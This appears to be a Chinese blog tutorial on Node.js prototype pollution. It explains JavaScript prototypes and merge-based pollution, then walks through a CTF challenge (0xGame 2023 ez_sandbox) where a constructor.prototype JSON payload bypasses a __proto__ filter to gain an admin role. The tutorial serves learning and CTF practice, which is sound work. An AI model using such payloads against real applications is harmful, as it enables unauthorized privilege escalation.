• Nodejs原型链污染学习



    前置知识

    JavaScript数据类型

    let和var关键字的区别

    使用var或let关键字可以定义变量

    let和var的区别如下:

    1. var是全局作用域,let 只在当前代码块内有效
    2. 当在代码块外访问let声明的变量时会报错
    3. var有变量提升,let没有变量提升
    4. let必须先声明再使用,否则报Uncaught ReferenceError xxx is not defined;var可以在声明前访问,只是会报undefined
    5. let变量不能重复声明,var变量可以重复声明

    普通变量

    var a=1;
    let b=2;
    
    • 1
    • 2

    数组变量

    var a = new Array();
    var b= [];
    
    • 1
    • 2

    字典

    var a = {};
    var b= {"foo":"bar"};
    
    • 1
    • 2

    prototype原型

    JavaScript只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为__proto__)指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上知道一个对象的原型对象为null。

    实例图
    在这里插入图片描述我们编写代码测试下
    源码

    function Son(){};
    var son = new Son();
    console.log(Son.prototype)
    console.log(son.__proto__)
    console.log(Son.prototype == son.__proto__)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    不难发现Son.prototype == son.__proto__是成立的
    在这里插入图片描述

    然后再了解下继承

    原型是继承的基础,JavaScript中原型链可以通过prototype这个属性来实现继承机制

    实例代码

    function Father(){
        this.first_name = 'Donald'
        this.last_name = 'Trump'
    }
    function Son(){
        this.first_name = 'Melania'
    }
    Son.prototype = new Father()
    let son = new Son()
    console.log(`Name: ${son.first_name} ${son.last_name}`)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    这里的Son继承了Father类,在调用son.last_name时,首先在son对象里找,如果没有找到,就会在son.__proto__(也就是Son.prototype),找不到就再往上son.__proto__.__proto__里找 ,知道null为止

    在这里插入图片描述

    同步和异步

    Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的
    fs.readFileSync()。异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。

    很简单理解,当你先读取文件输出后输出一段话的时候
    同步:先输出文件内容,再输出一段话
    异步:先输出一段话,后输出文件内容

    就比如,涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数如execSync

    child_process模块

    child_process提供了几种创建子进程的方式

    异步方式:spawn、exec、execFile、fork
    同步方式:spawnSync、execSync、execFileSync
    经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
    在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
    同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    其中的一些函数,在一些情况下,可以导致命令执行漏洞

    原型链污染

    下面用代码解释下

    let foo = {bar: 1}
    console.log(foo.bar)
    foo.__proto__.bar = 2
    console.log(foo.bar)
    let zoo = {}
    console.log(zoo.bar)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    可以发现当我们修改foo的原型时,由于查找顺序的原因,foo.bar仍为1;如果我们重新创建空对象,发现成功进行原型链污染
    在这里插入图片描述

    利用条件

    原型链污染在哪些情况下可以实现呢,其实找找能够控制数组(对象)的“键名”的操作即可

    • 对象merge
    • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

    比如merge函数

    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?
    添加如下代码测试

    let o1 = {}
    let o2 = {a: 1, "__proto__": {b: 2}}
    merge(o1, o2)
    console.log(o1.a, o1.b)
    
    o3 = {}
    console.log(o3.b)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    可以发现合并虽然成功了,但原型链没有被污染
    在这里插入图片描述
    这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

    绕过方法很简单,修改代码如下

    let o1 = {}
    let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    merge(o1, o2)
    console.log(o1.a, o1.b)
    
    o3 = {}
    console.log(o3.b)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述
    这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

    merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

    实例

    [0xGame 2023]week2 ez_sandbox
    关键源码如下

    var users = {}
    var admins = {}
    
    function merge(target, source) {
        for (let key in source) {
            if (key === '__proto__') {
                continue
            }
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
        return target
    }
    
    function clone(source) {
        return merge({}, source)
    }
    
    app.post('/login', function(req, res) {
        let { username, password } = clone(req.body)
    
        if (username in users && password === users[username]) {
            req.session.user = username
    
            if (username in admins) {
                req.session.role = 'admin'
            } else {
                req.session.role = 'guest'
            }
    
            res.send({
                'message': 'login success'
            })
        } else {
            res.send({
                'message': 'login failed'
            })
        }
    })
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    可以知道源码有merge函数,可以造成原型链污染。这里过滤了__proto__,那么我们用constructor.prototype绕过;登陆成功条件为username in users

    我们先注册⼀个 test 用户, 在登录时 POST 如下内容, 污染 admins 对象, 使得 username in admins 表达式的结果为True

    {
        "username": "test",
        "password": "test"
        "constructor": {
            "prototype": {
                "test": "123"
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    先bp抓包发送
    在这里插入图片描述

    然后输入test,test登陆成功,并且成功污染
    在这里插入图片描述

  • 相关阅读:
    ES6 --》函数扩展以及箭头函数讲解
    【Java并发编程六】多线程越界问题
    负数二进制转成十进制
    构造函数和析构函数
    springboot基础(67):利用切面编程实现自定义的@MyCacheable
    # 案例:验证 app 自动化测试环境是否 OK(测试对象:夜神模拟器以及真机)
    Vitalik:不同类型的 ZK-EVM
    这些好用的设计素材网,你一定要知道。
    探讨:围绕 props 阐述 React 通信
    [激光原理与应用-25]:《激光原理与技术》-11- 控制技术-非线性技术之激光倍频、非线性晶体CLBO、BBO、LBO
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/133875827